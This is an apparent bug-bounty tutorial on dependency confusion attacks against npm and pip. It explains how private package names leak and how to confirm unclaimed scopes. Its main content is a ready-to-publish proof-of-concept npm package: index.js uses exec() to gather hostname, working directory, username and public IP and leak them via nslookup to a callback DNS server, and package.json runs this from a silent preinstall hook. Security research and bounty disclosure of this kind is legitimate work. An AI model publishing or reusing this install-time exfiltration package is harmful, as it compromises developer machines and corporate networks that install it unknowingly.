- About dependency confusion attack
- How npm works and understanding package system, version, scope packages, etc.
- Detecting private package
- Automation with bash
- Manual Hunting
- Setting up bind9 DNS server
- Uploading POC
- Mitigation
- Bounty Transparency
When you put pip install -r requirements.txt
in your terminal did you check the package that you currently installing is not in the public repository? Or did someone put a backdoor on this package that you installed blindly? How do you trust Pypi? Is there anything that can harm your machine which is protected by a firewall?
Well, you might wonder how you can easily get hacked for running this command in your terminal! I'm not going to explain how this occurs, there is a great article about Dependency Confusion by alex birsan! But I can't resist giving you a simple explanation about the dependency confusion attack!
Suppose you had a project called A
which completely depends on react packages as you might hear of some third-party react component packages that are currently used by lots of companies for their development process, (for example react-router
) which means your current project heavily depends on some third-party module! Now Imagine you got a new job at this company and your previous colleague didn’t tell you about his project but did give you a file called package.json
with a bunch of js files and you know what to do with that just simple command npm -i
and You're good to go. But did you know that there might be some private packages that your senior developer didn’t allow you to disclose in public? So what will happen when you put npm -i
in your terminal if a malicious actor claims this package? Yeah, that's the simple explanation of a dependency confusion attack!
npm stands for node package manager which is used for storing your project dependency as public. But npm also allows you to install packages from your local package manager which is private, which means these packages are restricted from public users, just an internal user or specific traffic can install these packages for development purposes! And also these packages didn’t exist in public npm registry, this works fine until you accidentally forget to mention the install path in your cli file.
but in pip, these are completely different as pip checks for higher versions if you put the --extra-index
flag for your installation, like if you put --extra-index
when you install pip packages through your terminal eg:pip install -r requirements.txt --extra-index-url
then pip will first check which repository contains a higher version of this package. if pip sees that your local registry contains a higher version, pip will install this instead of a public one. Now imagine you accidentally leak your private pip package name Through GitHub repo and the attacker claims these packages and includes 2000.0.0 as the package version but in your local registry this package version is like 2.0.1 what will happen? well, pip priorities a higher version if you include the --extra-index-url
flag so pip will install this package from a public instead of a private repository, as pip sees this version is higher than your local version. You can read how pip works in this blog post, also if you want to read how the version works in npm please read this article.as my research is ongoing on other package system so I can't tell you enough for this! I will add them here.
This is so easy for npm normal packages, visit https://npmjs.com/package/YOUR-PACKAGE-NAME-HERE
and for scope packages, let me tell you what exactly it means 'if you have seen an npm package name like this @test/example-packages
that means every package are started with @
and divided by \
the first part of \
is scopes name and the second part is actual packages name so if you found this type of package name in your finding, you have to check whether this scope name is claimed in a public repository or not, for that visit this https://npmjs.com/org/SCOPE-NAMES-HERE
if this shows you 404 that's means this is unclaimed scope name! So for uploading POC packages on npmjs, you have to create an org name first then update this name to your package.json file like this @org/package-name-here
, and for pip just visit
Download this npm-automation.sh
file and run this command in your terminal bash automate-bash.sh <target domain>
make sure you have installed tomnomnom's waybackurls and hacker_'s gau in your machine.
- Using Github:
in GitHub you can visit every repo to see if there is any of these filenames exist, like for npm
package.json
,yarn.lock
,package-lock.json
,yarn-error.log
. For piprequirements.txt
,requirement-dev.txt
,requirement-prod.txt
. - Using Devtools:
open your Firefox browser and visit your target domain/subdomain ==> right click ==> inspect ==> go to
Debugger
==> try to findWebpack
directory (if your target used webpack, otherwise you may not see anything) ==> inWebpack
directory you will seenode_modules
folder and every subfolder name ofnode_modules
folder is an npm package. - JS file: js file is so boring to read, but if you already know what an npm package name looks like, you may able to spot them within the js file. (this needs practice)
follow these videos and repo Github repo DigitalOcean + Namecheap, AWS + Godaddy,
please follow this video on my youtube channel.
in this folder src/poc
, edit index.js
file. replace niroborg-npm-com-test
with your target package name. Also bind9-or-callback-server.com
to your callback DNS server.
const { exec } = require("child_process");
exec("a=$(hostname;pwd;whoami;echo 'niroborg-npm-com-test';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $a.bind9-or-callback-server.com;done" , (error, data, getter) => {
if(error){
console.log("error",error.message);
return;
}
if(getter){
console.log(data);
return;
}
console.log(data);
});
and in package.json
file, replace test-npm-com-test
with your target package name. then define the version name. it is recommended that you should upload multiple package versions when you upload the npm package because npm uses a special version system. read more
{
"name": "test-npm-com-test",
"version": "1.999.0",
"description": "",
"main": "main.js",
"scripts": {
"preinstall": "node index.js > /dev/null 2>&1",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "lexi2",
"license": "ISC",
"dependencies": {
"lodash": "^4.17.21"
}
}
Scan your project dependency with confused by @visma-prodsec
(I have my scanner just for npm, and I think confused is cool as they add a bunch of other package managers for scanning)
- $2000 from Shein (goes public)
- $2000 from an outside bug bounty program (closed)
- $1500 from Bugcrowd private program (closed)
- $1250 from Bugcrowd private program (ongoing)
- $1000 from an outside bug bounty(self-hosted)
- $1000 from Comcast Cable. (closed)
- $700 from an outside bug bounty program(self-hosted)
- $500 from an outside bug bounty program(self-hosted)
- $250 from Bugcrowd private program (closed)
- @alxbrsn for his amazing research , without his research, nothing would have been possible.
- @Stok for his amazing video about setting-up bind9 DNS server (using GoDaddy + aws)
- @juxhindb for his amazing github repo
- @nigamelastic for his amazing video about setting-up bind9 DNS server(using Namecheap + digital ocean)
- @tomnomnom for his powerful archive URL fetching tool waybackurls
- @hacker_ for his powerful archive URL fetching tool gau
- @visma-prodsec for their powerful dependency scanner confused